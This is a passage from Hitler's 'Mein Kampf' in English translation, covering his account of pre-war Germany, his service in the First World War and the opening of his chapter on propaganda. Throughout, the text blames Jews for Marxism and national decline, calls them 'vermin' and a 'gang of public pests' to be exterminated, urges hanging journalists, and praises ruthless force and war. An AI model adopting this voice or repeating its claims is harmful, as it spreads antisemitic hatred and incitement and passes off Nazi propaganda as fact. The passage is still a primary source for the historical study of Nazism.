+to predominate over the racial and cultural instincts in a people or a +State, these economic interests unloose the causes that lead to +subjugation and oppression. + +The belief, which prevailed in Germany before the War, that the world +could be opened up and even conquered for Germany through a system of +peaceful commercial penetration and a colonial policy was a typical +symptom which indicated the decline of those real qualities whereby +States are created and preserved, and indicated also the decline of that +insight, will-power and practical determination which belong to those +qualities. The World War with its consequences, was the natural +liquidation of that decline. + +To anyone who had not thought over the matter deeply, this attitude of +the German people--which was quite general--must have seemed an +insoluble enigma. After all, Germany herself was a magnificent example +of an empire that had been built up purely by a policy of power. +Prussia, which was the generative cell of the German Empire, had been +created by brilliant heroic deeds and not by a financial or commercial +compact. And the Empire itself was but the magnificent recompense for a +leadership that had been conducted on a policy of power and military +valour. + +How then did it happen that the political instincts of this very same +German people became so degenerate? For it was not merely one isolated +phenomenon which pointed to this decadence, but morbid symptoms which +appeared in alarming numbers, now all over the body politic, or eating +into the body of the nation like a gangrenous ulcer. It seemed as if +some all-pervading poisonous fluid had been injected by some mysterious +hand into the bloodstream of this once heroic body, bringing about a +creeping paralysis that affected the reason and the elementary instinct +of self-preservation. + +During the years 1912-1914 I used to ponder perpetually on those +problems which related to the policy of the Triple Alliance and the +economic policy then being pursued by the German Empire. Once again I +came to the conclusion that the only explanation of this enigma lay in +the operation of that force which I had already become acquainted with +in Vienna, though from a different angle of vision. The force to which I +refer was the Marxist teaching and WELTANSCHAUUNG and its organized +action throughout the nation. + +For the second time in my life I plunged deep into the study of that +destructive teaching. This time, however, I was not urged by the study +of the question by the impressions and influences of my daily +environment, but directed rather by the observation of general phenomena +in the political life of Germany. In delving again into the theoretical +literature of this new world and endeavouring to get a clear view of the +possible consequences of its teaching, I compared the theoretical +principles of Marxism with the phenomena and happenings brought about by +its activities in the political, cultural, and economic spheres. + +For the first time in my life I now turned my attention to the efforts +that were being made to subdue this universal pest. + +I studied Bismarck's exceptional legislation in its original concept, +its operation and its results. Gradually I formed a basis for my own +opinions, which has proved as solid as a rock, so that never since have +I had to change my attitude towards the general problem. I also made a +further and more thorough analysis of the relations between Marxism and +Jewry. + +During my sojourn in Vienna I used to look upon Germany as an +imperturbable colossus; but even then serious doubts and misgivings +would often disturb me. In my own mind and in my conversation with my +small circle of acquaintances I used to criticize Germany's foreign +policy and the incredibly superficial way, according to my thinking, in +which Marxism was dealt with, though it was then the most important +problem in Germany. I could not understand how they could stumble +blindfolded into the midst of this peril, the effects of which would be +momentous if the openly declared aims of Marxism could be put into +practice. Even as early as that time I warned people around me, just as +I am warning a wider audience now, against that soothing slogan of all +indolent and feckless nature: NOTHING CAN HAPPEN TO US. A similar mental +contagion had already destroyed a mighty empire. Can Germany escape the +operation of those laws to which all other human communities are +subject? + +In the years 1913 and 1914 I expressed my opinion for the first time in +various circles, some of which are now members of the National Socialist +Movement, that the problem of how the future of the German nation can be +secured is the problem of how Marxism can be exterminated. + +I considered the disastrous policy of the Triple Alliance as one of the +consequences resulting from the disintegrating effects of the Marxist +teaching; for the alarming feature was that this teaching was invisibly +corrupting the foundations of a healthy political and economic outlook. +Those who had been themselves contaminated frequently did not realise +that their aims and actions sprang from this WELTANSCHAUUNG, which they +otherwise openly repudiated. + +Long before then the spiritual and moral decline of the German people +had set in, though those who were affected by the morbid decadence were +frequently unaware--as often happens--of the forces which were breaking +up their very existence. Sometimes they tried to cure the disease by +doctoring the symptoms, which were taken as the cause. But since nobody +recognized, or wanted to recognize, the real cause of the disease this +way of combating Marxism was no more effective than the application of +some quack's ointment. + + + + +CHAPTER V + + + +THE WORLD WAR + + +During the boisterous years of my youth nothing used to damp my wild +spirits so much as to think that I was born at a time when the world had +manifestly decided not to erect any more temples of fame except in +honour of business people and State officials. The tempest of historical +achievements seemed to have permanently subsided, so much so that the +future appeared to be irrevocably delivered over to what was called +peaceful competition between the nations. This simply meant a system of +mutual exploitation by fraudulent means, the principle of resorting to +the use of force in self-defence being formally excluded. Individual +countries increasingly assumed the appearance of commercial +undertakings, grabbing territory and clients and concessions from each +other under any and every kind of pretext. And it was all staged to an +accompaniment of loud but innocuous shouting. This trend of affairs +seemed destined to develop steadily and permanently. Having the support +of public approbation, it seemed bound eventually to transform the world +into a mammoth department store. In the vestibule of this emporium there +would be rows of monumental busts which would confer immortality on +those profiteers who had proved themselves the shrewdest at their trade +and those administrative officials who had shown themselves the most +innocuous. The salesmen could be represented by the English and the +administrative functionaries by the Germans; whereas the Jews would be +sacrificed to the unprofitable calling of proprietorship, for they are +constantly avowing that they make no profits and are always being called +upon to 'pay out'. Moreover they have the advantage of being versed in +the foreign languages. + +Why could I not have been born a hundred years ago? I used to ask +myself. Somewhere about the time of the Wars of Liberation, when a man +was still of some value even though he had no 'business'. + +Thus I used to think it an ill-deserved stroke of bad luck that I had +arrived too late on this terrestrial globe, and I felt chagrined at the +idea that my life would have to run its course along peaceful and +orderly lines. As a boy I was anything but a pacifist and all attempts +to make me so turned out futile. + +Then the Boer War came, like a glow of lightning on the far horizon. Day +after day I used to gaze intently at the newspapers and I almost +'devoured' the telegrams and COMMUNIQUES, overjoyed to think that I +could witness that heroic struggle, even though from so great a +distance. + +When the Russo-Japanese War came I was older and better able to judge +for myself. For national reasons I then took the side of the Japanese in +our discussions. I looked upon the defeat of the Russians as a blow to +Austrian Slavism. + +Many years had passed between that time and my arrival in Munich. I now +realized that what I formerly believed to be a morbid decadence was only +the lull before the storm. During my Vienna days the Balkans were +already in the grip of that sultry pause which presages the violent +storm. Here and there a flash of lightning could be occasionally seen; +but it rapidly disappeared in sinister gloom. Then the Balkan War broke +out; and therewith the first gusts of the forthcoming tornado swept +across a highly-strung Europe. In the supervening calm men felt the +atmosphere oppressive and foreboding, so much so that the sense of an +impending catastrophe became transformed into a feeling of impatient +expectance. They wished that Heaven would give free rein to the fate +which could now no longer be curbed. Then the first great bolt of +lightning struck the earth. The storm broke and the thunder of the +heavens intermingled with the roar of the cannons in the World War. + +When the news came to Munich that the Archduke Franz Ferdinand had been +murdered, I had been at home all day and did not get the particulars of +how it happened. At first I feared that the shots may have been fired by +some German-Austrian students who had been aroused to a state of furious +indignation by the persistent pro-Slav activities of the Heir to the +Habsburg Throne and therefore wished to liberate the German population +from this internal enemy. It was quite easy to imagine what the result +of such a mistake would have been. It would have brought on a new wave +of persecution, the motives of which would have been 'justified' before +the whole world. But soon afterwards I heard the names of the presumed +assassins and also that they were known to be Serbs. I felt somewhat +dumbfounded in face of the inexorable vengeance which Destiny had +wrought. The greatest friend of the Slavs had fallen a victim to the +bullets of Slav patriots. + +It is unjust to the Vienna government of that time to blame it now for +the form and tenor of the ultimatum which was then presented. In a +similar position and under similar circumstances, no other Power in the +world would have acted otherwise. On her southern frontiers Austria had +a relentless mortal foe who indulged in acts of provocation against the +Dual Monarchy at intervals which were becoming more and more frequent. +This persistent line of conduct would not have been relaxed until the +arrival of the opportune moment for the destruction of the Empire. In +Austria there was good reason to fear that, at the latest, this moment +would come with the death of the old Emperor. Once that had taken place, +it was quite possible that the Monarchy would not be able to offer any +serious resistance. For some years past the State had been so completely +identified with the personality of Francis Joseph that, in the eyes of +the great mass of the people, the death of this venerable +personification of the Empire would be tantamount to the death of the +Empire itself. Indeed it was one of the clever artifices of Slav policy +to foster the impression that the Austrian State owed its very existence +exclusively to the prodigies and rare talents of that monarch. This kind +of flattery was particularly welcomed at the Hofburg, all the more +because it had no relation whatsoever to the services actually rendered +by the Emperor. No effort whatsoever was made to locate the carefully +prepared sting which lay hidden in this glorifying praise. One fact +which was entirely overlooked, perhaps intentionally, was that the more +the Empire remained dependent on the so-called administrative talents of +'the wisest Monarch of all times', the more catastrophic would be the +situation when Fate came to knock at the door and demand its tribute. + +Was it possible even to imagine the Austrian Empire without its +venerable ruler? Would not the tragedy which befell Maria Theresa be +repeated at once? + +It is really unjust to the Vienna governmental circles to reproach them +with having instigated a war which might have been prevented. The war +was bound to come. Perhaps it might have been postponed for a year or +two at the most. But it had always been the misfortune of German, as +well as Austrian, diplomats that they endeavoured to put off the +inevitable day of reckoning, with the result that they were finally +compelled to deliver their blow at a most inopportune moment. + +No. Those who did not wish this war ought to have had the courage to +take the consequences of the refusal upon themselves. Those consequences +must necessarily have meant the sacrifice of Austria. And even then war +would have come, not as a war in which all the nations would have been +banded against us but in the form of a dismemberment of the Habsburg +Monarchy. In that case we should have had to decide whether we should +come to the assistance of the Habsburg or stand aside as spectators, +with our arms folded, and thus allow Fate to run its course. + +Just those who are loudest in their imprecations to-day and make a great +parade of wisdom in judging the causes of the war are the very same +people whose collaboration was the most fatal factor in steering towards +the war. + +For several decades previously the German Social-Democrats had been +agitating in an underhand and knavish way for war against Russia; +whereas the German Centre Party, with religious ends in view, had worked +to make the Austrian State the chief centre and turning-point of German +policy. The consequences of this folly had now to be borne. What came +was bound to come and under no circumstances could it have been avoided. +The fault of the German Government lay in the fact that, merely for the +sake of preserving peace at all costs, it continued to miss the +occasions that were favourable for action, got entangled in an alliance +for the purpose of preserving the peace of the world, and thus finally +became the victim of a world coalition which opposed the German effort +for the maintenance of peace and was determined to bring about the world +war. + +Had the Vienna Government of that time formulated its ultimatum in less +drastic terms, that would not have altered the situation at all: but +such a course might have aroused public indignation. For, in the eyes of +the great masses, the ultimatum was too moderate and certainly not +excessive or brutal. Those who would deny this to-day are either +simpletons with feeble memories or else deliberate falsehood-mongers. + +The War of 1914 was certainly not forced on the masses; it was even +desired by the whole people. + +There was a desire to bring the general feeling of uncertainty to an end +once and for all. And it is only in the light of this fact that we can +understand how more than two million German men and youths voluntarily +joined the colours, ready to shed the last drop of their blood for the +cause. + +For me these hours came as a deliverance from the distress that had +weighed upon me during the days of my youth. I am not ashamed to +acknowledge to-day that I was carried away by the enthusiasm of the +moment and that I sank down upon my knees and thanked Heaven out of the +fullness of my heart for the favour of having been permitted to live in +such a time. + +The fight for freedom had broken out on an unparalleled scale in the +history of the world. From the moment that Fate took the helm in hand +the conviction grew among the mass of the people that now it was not a +question of deciding the destinies of Austria or Serbia but that the +very existence of the German nation itself was at stake. + +At last, after many years of blindness, the people saw clearly into the +future. Therefore, almost immediately after the gigantic struggle had +begun, an excessive enthusiasm was replaced by a more earnest and more +fitting undertone, because the exaltation of the popular spirit was not +a mere passing frenzy. It was only too necessary that the gravity of the +situation should be recognized. At that time there was, generally +speaking, not the slightest presentiment or conception of how long the +war might last. People dreamed of the soldiers being home by Christmas +and that then they would resume their daily work in peace. + +Whatever mankind desires, that it will hope for and believe in. The +overwhelming majority of the people had long since grown weary of the +perpetual insecurity in the general condition of public affairs. Hence +it was only natural that no one believed that the Austro-Serbian +conflict could be shelved. Therefore they looked forward to a radical +settlement of accounts. I also belonged to the millions that desired +this. + +The moment the news of the Sarajevo outrage reached Munich two ideas +came into my mind: First, that war was absolutely inevitable and, +second, that the Habsburg State would now be forced to honour its +signature to the alliance. For what I had feared most was that one day +Germany herself, perhaps as a result of the Alliance, would become +involved in a conflict the first direct cause of which did not affect +Austria. In such a contingency, I feared that the Austrian State, for +domestic political reasons, would find itself unable to decide in favour +of its ally. But now this danger was removed. The old State was +compelled to fight, whether it wished to do so or not. + +My own attitude towards the conflict was equally simple and clear. I +believed that it was not a case of Austria fighting to get satisfaction +from Serbia but rather a case of Germany fighting for her own +existence--the German nation for its own to-be-or-not-to-be, for its +freedom and for its future. The work of Bismarck must now be carried on. +Young Germany must show itself worthy of the blood shed by our fathers +on so many heroic fields of battle, from Weissenburg to Sedan and Paris. +And if this struggle should bring us victory our people will again rank +foremost among the great nations. Only then could the German Empire +assert itself as the mighty champion of peace, without the necessity of +restricting the daily bread of its children for the sake of maintaining +the peace. + +As a boy and as a young man, I often longed for the occasion to prove +that my national enthusiasm was not mere vapouring. Hurrahing sometimes +seemed to me to be a kind of sinful indulgence, though I could not give +any justification for that feeling; for, after all, who has the right to +shout that triumphant word if he has not won the right to it there where +there is no play-acting and where the hand of the Goddess of Destiny +puts the truth and sincerity of nations and men through her inexorable +test? Just as millions of others, I felt a proud joy in being permitted +to go through this test. I had so often sung DEUTSCHLAND ÜBER ALLES and +so often roared 'HEIL' that I now thought it was as a kind of +retro-active grace that I was granted the right of appearing before the +Court of Eternal Justice to testify to the truth of those sentiments. + +One thing was clear to me from the very beginning, namely, that in the +event of war, which now seemed inevitable, my books would have to be +thrown aside forthwith. I also realized that my place would have to be +there where the inner voice of conscience called me. + +I had left Austria principally for political reasons. What therefore +could be more rational than that I should put into practice the logical +consequences of my political opinions, now that the war had begun. I had +no desire to fight for the Habsburg cause, but I was prepared to die at +any time for my own kinsfolk and the Empire to which they really +belonged. + +On August 3rd, 1914, I presented an urgent petition to His Majesty, King +Ludwig III, requesting to be allowed to serve in a Bavarian regiment. In +those days the Chancellery had its hands quite full and therefore I was +all the more pleased when I received the answer a day later, that my +request had been granted. I opened the document with trembling hands; +and no words of mine could now describe the satisfaction I felt on +reading that I was instructed to report to a Bavarian regiment. Within a +few days I was wearing that uniform which I was not to put oft again for +nearly six years. + +For me, as for every German, the most memorable period of my life now +began. Face to face with that mighty struggle, all the past fell away +into oblivion. With a wistful pride I look back on those days, +especially because we are now approaching the tenth anniversary of that +memorable happening. I recall those early weeks of war when kind fortune +permitted me to take my place in that heroic struggle among the nations. + +As the scene unfolds itself before my mind, it seems only like +yesterday. I see myself among my young comrades on our first parade +drill, and so on until at last the day came on which we were to leave +for the front. + +In common with the others, I had one worry during those days. This was a +fear that we might arrive too late for the fighting at the front. Time +and again that thought disturbed me and every announcement of a +victorious engagement left a bitter taste, which increased as the news +of further victories arrived. + +At long last the day came when we left Munich on war service. For the +first time in my life I saw the Rhine, as we journeyed westwards to +stand guard before that historic German river against its traditional +and grasping enemy. As the first soft rays of the morning sun broke +through the light mist and disclosed to us the Niederwald Statue, with +one accord the whole troop train broke into the strains of DIE WACHT AM +RHEIN. I then felt as if my heart could not contain its spirit. + +And then followed a damp, cold night in Flanders. We marched in silence +throughout the night and as the morning sun came through the mist an +iron greeting suddenly burst above our heads. Shrapnel exploded in our +midst and spluttered in the damp ground. But before the smoke of the +explosion disappeared a wild 'Hurrah' was shouted from two hundred +throats, in response to this first greeting of Death. Then began the +whistling of bullets and the booming of cannons, the shouting and +singing of the combatants. With eyes straining feverishly, we pressed +forward, quicker and quicker, until we finally came to close-quarter +fighting, there beyond the beet-fields and the meadows. Soon the strains +of a song reached us from afar. Nearer and nearer, from company to +company, it came. And while Death began to make havoc in our ranks we +passed the song on to those beside us: DEUTSCHLAND, DEUTSCHLAND ÜBER +ALLES, ÜBER ALLES IN DER WELT. + +After four days in the trenches we came back. Even our step was no +longer what it had been. Boys of seventeen looked now like grown men. +The rank and file of the List Regiment (Note 11) had not been properly +trained in the art of warfare, but they knew how to die like old soldiers. + +[Note 11. The Second Infantry Bavarian Regiment, in which Hitler served +as a volunteer.] + +That was the beginning. And thus we carried on from year to year. A +feeling of horror replaced the romantic fighting spirit. Enthusiasm +cooled down gradually and exuberant spirits were quelled by the fear of +the ever-present Death. A time came when there arose within each one of +us a conflict between the urge to self-preservation and the call of +duty. And I had to go through that conflict too. As Death sought its +prey everywhere and unrelentingly a nameless Something rebelled within +the weak body and tried to introduce itself under the name of Common +Sense; but in reality it was Fear, which had taken on this cloak in +order to impose itself on the individual. But the more the voice which +advised prudence increased its efforts and the more clear and persuasive +became its appeal, resistance became all the stronger; until finally the +internal strife was over and the call of duty was triumphant. Already in +the winter of 1915-16 I had come through that inner struggle. The will +had asserted its incontestable mastery. Whereas in the early days I went +into the fight with a cheer and a laugh, I was now habitually calm and +resolute. And that frame of mind endured. Fate might now put me through +the final test without my nerves or reason giving way. The young +volunteer had become an old soldier. + +This same transformation took place throughout the whole army. Constant +fighting had aged and toughened it and hardened it, so that it stood +firm and dauntless against every assault. + +Only now was it possible to judge that army. After two and three years +of continuous fighting, having been thrown into one battle after +another, standing up stoutly against superior numbers and superior +armament, suffering hunger and privation, the time had come when one +could assess the value of that singular fighting force. + +For a thousand years to come nobody will dare to speak of heroism +without recalling the German Army of the World War. And then from the +dim past will emerge the immortal vision of those solid ranks of steel +helmets that never flinched and never faltered. And as long as Germans +live they will be proud to remember that these men were the sons of +their forefathers. + +I was then a soldier and did not wish to meddle in politics, all the +more so because the time was inopportune. I still believe that the most +modest stable-boy of those days served his country better than the best +of, let us say, the 'parliamentary deputies'. My hatred for those +footlers was never greater than in those days when all decent men who +had anything to say said it point-blank in the enemy's face; or, failing +this, kept their mouths shut and did their duty elsewhere. I despised +those political fellows and if I had had my way I would have formed them +into a Labour Battalion and given them the opportunity of babbling +amongst themselves to their hearts' content, without offence or harm to +decent people. + +In those days I cared nothing for politics; but I could not help forming +an opinion on certain manifestations which affected not only the whole +nation but also us soldiers in particular. There were two things which +caused me the greatest anxiety at that time and which I had come to +regard as detrimental to our interests. + +Shortly after our first series of victories a certain section of the +Press already began to throw cold water, drip by drip, on the enthusiasm +of the public. At first this was not obvious to many people. It was done +under the mask of good intentions and a spirit of anxious care. The +public was told that big celebrations of victories were somewhat out of +place and were not worthy expressions of the spirit of a great nation. +The fortitude and valour of German soldiers were accepted facts which +did not necessarily call for outbursts of celebration. Furthermore, it +was asked, what would foreign opinion have to say about these +manifestations? Would not foreign opinion react more favourably to a +quiet and sober form of celebration rather than to all this wild +jubilation? Surely the time had come--so the Press declared--for us +Germans to remember that this war was not our work and that hence there +need be no feeling of shame in declaring our willingness to do our share +towards effecting an understanding among the nations. For this reason it +would not be wise to sully the radiant deeds of our army with unbecoming +jubilation; for the rest of the world would never understand this. +Furthermore, nothing is more appreciated than the modesty with which a +true hero quietly and unassumingly carries on and forgets. Such was the +gist of their warning. + +Instead of catching these fellows by their long ears and dragging them +to some ditch and looping a cord around their necks, so that the +victorious enthusiasm of the nation should no longer offend the +aesthetic sensibilities of these knights of the pen, a general Press +campaign was now allowed to go on against what was called 'unbecoming' +and 'undignified' forms of victorious celebration. + +No one seemed to have the faintest idea that when public enthusiasm is +once damped, nothing can enkindle it again, when the necessity arises. +This enthusiasm is an intoxication and must be kept up in that form. +Without the support of this enthusiastic spirit how would it be possible +to endure in a struggle which, according to human standards, made such +immense demands on the spiritual stamina of the nation? + +I was only too well acquainted with the psychology of the broad masses +not to know that in such cases a magnaminous 'aestheticism' cannot fan +the fire which is needed to keep the iron hot. In my eyes it was even a +mistake not to have tried to raise the pitch of public enthusiasm still +higher. Therefore I could not at all understand why the contrary policy +was adopted, that is to say, the policy of damping the public spirit. + +Another thing which irritated me was the manner in which Marxism was +regarded and accepted. I thought that all this proved how little they +knew about the Marxist plague. It was believed in all seriousness that +the abolition of party distinctions during the War had made Marxism a +mild and moderate thing. + +But here there was no question of party. There was question of a +doctrine which was being expounded for the express purpose of leading +humanity to its destruction. The purport of this doctrine was not +understood because nothing was said about that side of the question in +our Jew-ridden universities and because our supercilious bureaucratic +officials did not think it worth while to read up a subject which had +not been prescribed in their university course. This mighty +revolutionary trend was going on beside them; but those 'intellectuals' +would not deign to give it their attention. That is why State enterprise +nearly always lags behind private enterprise. Of these gentry once can +truly say that their maxim is: What we don't know won't bother us. In +the August of 1914 the German worker was looked upon as an adherent of +Marxist socialism. That was a gross error. When those fateful hours +dawned the German worker shook off the poisonous clutches of that +plague; otherwise he would not have been so willing and ready to fight. +And people were stupid enough to imagine that Marxism had now become +'national', another apt illustration of the fact that those in authority +had never taken the trouble to study the real tenor of the Marxist +teaching. If they had done so, such foolish errors would not have been +committed. + +Marxism, whose final objective was and is and will continue to be the +destruction of all non-Jewish national States, had to witness in those +days of July 1914 how the German working classes, which it had been +inveigling, were aroused by the national spirit and rapidly ranged +themselves on the side of the Fatherland. Within a few days the +deceptive smoke-screen of that infamous national betrayal had vanished +into thin air and the Jewish bosses suddenly found themselves alone and +deserted. It was as if not a vestige had been left of that folly and +madness with which the masses of the German people had been inoculated +for sixty years. That was indeed an evil day for the betrayers of German +Labour. The moment, however, that the leaders realized the danger which +threatened them they pulled the magic cap of deceit over their ears and, +without being identified, played the part of mimes in the national +reawakening. + +The time seemed to have arrived for proceeding against the whole Jewish +gang of public pests. Then it was that action should have been taken +regardless of any consequent whining or protestation. At one stroke, in +the August of 1914, all the empty nonsense about international +solidarity was knocked out of the heads of the German working classes. A +few weeks later, instead of this stupid talk sounding in their ears, +they heard the noise of American-manufactured shrapnel bursting above +the heads of the marching columns, as a symbol of international +comradeship. Now that the German worker had rediscovered the road to +nationhood, it ought to have been the duty of any Government which had +the care of the people in its keeping, to take this opportunity of +mercilessly rooting out everything that was opposed to the national +spirit. + +While the flower of the nation's manhood was dying at the front, there +was time enough at home at least to exterminate this vermin. But, +instead of doing so, His Majesty the Kaiser held out his hand to these +hoary criminals, thus assuring them his protection and allowing them to +regain their mental composure. + +And so the viper could begin his work again. This time, however, more +carefully than before, but still more destructively. While honest people +dreamt of reconciliation these perjured criminals were making +preparations for a revolution. + +Naturally I was distressed at the half-measures which were adopted at +that time; but I never thought it possible that the final consequences +could have been so disastrous? + +But what should have been done then? Throw the ringleaders into gaol, +prosecute them and rid the nation of them? Uncompromising military +measures should have been adopted to root out the evil. Parties should +have been abolished and the Reichstag brought to its senses at the point +of the bayonet, if necessary. It would have been still better if the +Reichstag had been dissolved immediately. Just as the Republic to-day +dissolves the parties when it wants to, so in those days there was even +more justification for applying that measure, seeing that the very +existence of the nation was at stake. Of course this suggestion would +give rise to the question: Is it possible to eradicate ideas by force of +arms? Could a WELTANSCHAUUNG be attacked by means of physical force? + +At that time I turned these questions over and over again in my mind. By +studying analogous cases, exemplified in history, particularly those +which had arisen from religious circumstances, I came to the following +fundamental conclusion: + +Ideas and philosophical systems as well as movements grounded on a +definite spiritual foundation, whether true or not, can never be broken +by the use of force after a certain stage, except on one condition: +namely, that this use of force is in the service of a new idea or +WELTANSCHAUUNG which burns with a new flame. + +The application of force alone, without moral support based on a +spiritual concept, can never bring about the destruction of an idea or +arrest the propagation of it, unless one is ready and able ruthlessly to +exterminate the last upholders of that idea even to a man, and also wipe +out any tradition which it may tend to leave behind. Now in the majority +of cases the result of such a course has been to exclude such a State, +either temporarily or for ever, from the comity of States that are of +political significance; but experience has also shown that such a +sanguinary method of extirpation arouses the better section of the +population under the persecuting power. As a matter of fact, every +persecution which has no spiritual motives to support it is morally +unjust and raises opposition among the best elements of the population; +so much so that these are driven more and more to champion the ideas +that are unjustly persecuted. With many individuals this arises from the +sheer spirit of opposition to every attempt at suppressing spiritual +things by brute force. + +In this way the number of convinced adherents of the persecuted doctrine +increases as the persecution progresses. Hence the total destruction of +a new doctrine can be accomplished only by a vast plan of extermination; +but this, in the final analysis, means the loss of some of the best +blood in a nation or State. And that blood is then avenged, because such +an internal and total clean-up brings about the collapse of the nation's +strength. And such a procedure is always condemned to futility from the +very start if the attacked doctrine should happen to have spread beyond +a small circle. + +That is why in this case, as with all other growths, the doctrine can be +exterminated in its earliest stages. As time goes on its powers of +resistance increase, until at the approach of age it gives way to +younger elements, but under another form and from other motives. + +The fact remains that nearly all attempts to exterminate a doctrine, +without having some spiritual basis of attack against it, and also to +wipe out all the organizations it has created, have led in many cases to +the very opposite being achieved; and that for the following reasons: + +When sheer force is used to combat the spread of a doctrine, then that +force must be employed systematically and persistently. This means that +the chances of success in the suppression of a doctrine lie only in the +persistent and uniform application of the methods chosen. The moment +hesitation is shown, and periods of tolerance alternate with the +application of force, the doctrine against which these measures are +directed will not only recover strength but every successive persecution +will bring to its support new adherents who have been shocked by the +oppressive methods employed. The old adherents will become more +embittered and their allegiance will thereby be strengthened. Therefore +when force is employed success is dependent on the consistent manner in +which it is used. This persistence, however, is nothing less than the +product of definite spiritual convictions. Every form of force that is +not supported by a spiritual backing will be always indecisive and +uncertain. Such a force lacks the stability that can be found only in a +WELTANSCHAUUNG which has devoted champions. Such a force is the +expression of the individual energies; therefore it is from time to time +dependent on the change of persons in whose hands it is employed and +also on their characters and capacities. + +But there is something else to be said: Every WELTANSCHAUUNG, whether +religious or political--and it is sometimes difficult to say where the +one ends and the other begins--fights not so much for the negative +destruction of the opposing world of ideas as for the positive +realization of its own ideas. Thus its struggle lies in attack rather +than in defence. It has the advantage of knowing where its objective +lies, as this objective represents the realization of its own ideas. +Inversely, it is difficult to say when the negative aim for the +destruction of a hostile doctrine is reached and secured. For this +reason alone a WELTANSCHAUUNG which is of an aggressive character is +more definite in plan and more powerful and decisive in action than a +WELTANSCHAUUNG which takes up a merely defensive attitude. If force be +used to combat a spiritual power, that force remains a defensive measure +only so long as the wielders of it are not the standard-bearers and +apostles of a new spiritual doctrine. + +To sum up, the following must be borne in mind: That every attempt to +combat a WELTANSCHAUUNG by means of force will turn out futile in the +end if the struggle fails to take the form of an offensive for the +establishment of an entirely new spiritual order of' things. It is only +in the struggle between two Weltan-schauungen that physical force, +consistently and ruthlessly applied, will eventually turn the scales in +its own favour. It was here that the fight against Marxism had hitherto +failed. + +This was also the reason why Bismarck's anti-socialist legislation +failed and was bound to fail in the long run, despite everything. It +lacked the basis of a new WELTANSCHAUUNG for whose development and +extension the struggle might have been taken up. To say that the serving +up of drivel about a so-called 'State-Authority' or 'Law-and-Order' was +an adequate foundation for the spiritual driving force in a +life-or-death struggle is only what one would expect to hear from the +wiseacres in high official positions. + +It was because there were no adequate spiritual motives back of this +offensive that Bismarck was compelled to hand over the administration of +his socialist legislative measures to the judgment and approval of those +circles which were themselves the product of the Marxist teaching. Thus +a very ludicrous state of affairs prevailed when the Iron Chancellor +surrendered the fate of his struggle against Marxism to the goodwill of +the bourgeois democracy. He left the goat to take care of the garden. +But this was only the necessary result of the failure to find a +fundamentally new WELTANSCHAUUNG which would attract devoted champions +to its cause and could be established on the ground from which Marxism +had been driven out. And thus the result of the Bismarckian campaign was +deplorable. + +During the World War, or at the beginning of it, were the conditions any +different? Unfortunately, they were not. + +The more I then pondered over the necessity for a change in the attitude +of the executive government towards Social-Democracy, as the +incorporation of contemporary Marxism, the more I realized the want of a +practical substitute for this doctrine. Supposing Social-Democracy were +overthrown, what had one to offer the masses in its stead? Not a single +movement existed which promised any success in attracting vast numbers +of workers who would be now more or less without leaders, and holding +these workers in its train. It is nonsensical to imagine that the +international fanatic who has just severed his connection with a class +party would forthwith join a bourgeois party, or, in other words, +another class organization. For however unsatisfactory these various +organizations may appear to be, it cannot be denied that bourgeois +politicians look on the distinction between classes as a very important +factor in social life, provided it does not turn out politically +disadvantageous to them. If they deny this fact they show themselves not +only impudent but also mendacious. + +Generally speaking, one should guard against considering the broad +masses more stupid than they really are. In political matters it +frequently happens that feeling judges more correctly than intellect. +But the opinion that this feeling on the part of the masses is +sufficient proof of their stupid international attitude can be +immediately and definitely refuted by the simple fact that pacifist +democracy is no less fatuous, though it draws its supporters almost +exclusively from bourgeois circles. As long as millions of citizens +daily gulp down what the social-democratic Press tells them, it ill +becomes the 'Masters' to joke at the expense of the 'Comrades'; for in +the long run they all swallow the same hash, even though it be dished up +with different spices. In both cases the cook is one and the same--the +Jew. + +One should be careful about contradicting established facts. It is an +undeniable fact that the class question has nothing to do with questions +concerning ideals, though that dope is administered at election time. +Class arrogance among a large section of our people, as well as a +prevailing tendency to look down on the manual labourer, are obvious +facts and not the fancies of some day-dreamer. Nevertheless it only +illustrates the mentality of our so-called intellectual circles, that +they have not yet grasped the fact that circumstances which are +incapable of preventing the growth of such a plague as Marxism are +certainly not capable of restoring what has been lost. + +The bourgeois' parties--a name coined by themselves--will never again be +able to win over and hold the proletarian masses in their train. That is +because two worlds stand opposed to one another here, in part naturally +and in part artificially divided. These two camps have one leading +thought, and that is that they must fight one another. But in such a +fight the younger will come off victorious; and that is Marxism. + +In 1914 a fight against Social-Democracy was indeed quite conceivable. +But the lack of any practical substitute made it doubtful how long the +fight could be kept up. In this respect there was a gaping void. + +Long before the War I was of the same opinion and that was the reason +why I could not decide to join any of the parties then existing. During +the course of the World War my conviction was still further confirmed by +the manifest impossibility of fighting Social-Democracy in anything like +a thorough way: because for that purpose there should have been a +movement that was something more than a mere 'parliamentary' party, and +there was none such. + +I frequently discussed that want with my intimate comrades. And it was +then that I first conceived the idea of taking up political work later +on. As I have often assured my friends, it was just this that induced me +to become active on the public hustings after the War, in addition to my +professional work. And I am sure that this decision was arrived at after +much earnest thought. + + + + +CHAPTER VI + + + +WAR PROPAGANDA + + +In watching the course of political events I was always struck by the +active part which propaganda played in them. I saw that it was an +instrument, which the Marxist Socialists knew how to handle in a +masterly way and how to put it to practical uses. Thus I soon came to +realize that the right use of propaganda was an art in itself and that +this art was practically unknown to our bourgeois parties. The +Christian-Socialist Party alone, especially in Lueger's time, showed a +certain efficiency in the employment of this instrument and owed much of +their success to it. + +It was during the War, however, that we had the best chance of +estimating the tremendous results which could be obtained by a +propagandist system properly carried out. Here again, unfortunately, +everything was left to the other side, the work done on our side being +worse than insignificant. It was the total failure of the whole German +system of information--a failure which was perfectly obvious to every +soldier--that urged me to consider the problem of propaganda in a +comprehensive way. I had ample opportunity to learn a practical lesson +in this matter; for unfortunately it was only too well taught us by the +enemy. The lack on our side was exploited by the enemy in such an +efficient manner that one could say it showed itself as a real work of +genius. In that propaganda carried on by the enemy I found admirable +sources of instruction. The lesson to be learned from this had +unfortunately no attraction for the geniuses on our own side. They were +simply above all such things, too clever to accept any teaching. Anyhow +they did not honestly wish to learn anything. + +Had we any propaganda at all? Alas, I can reply only in the negative. +All that was undertaken in this direction was so utterly inadequate and +misconceived from the very beginning that not only did it prove useless +but at times harmful. In substance it was insufficient. Psychologically +it was all wrong. Anybody who had carefully investigated the German +propaganda must have formed that judgment of it. Our people did not seem +to be clear even about the primary question itself: Whether propaganda +is a means or an end? + +Propaganda is a means and must, therefore, be judged in relation to the +end it is intended to serve. It must be organized in such a way as to be +capable of attaining its objective. And, as it is quite clear that the +importance of the objective may vary from the standpoint of general +necessity, the essential internal character of the propaganda must vary +accordingly. The cause 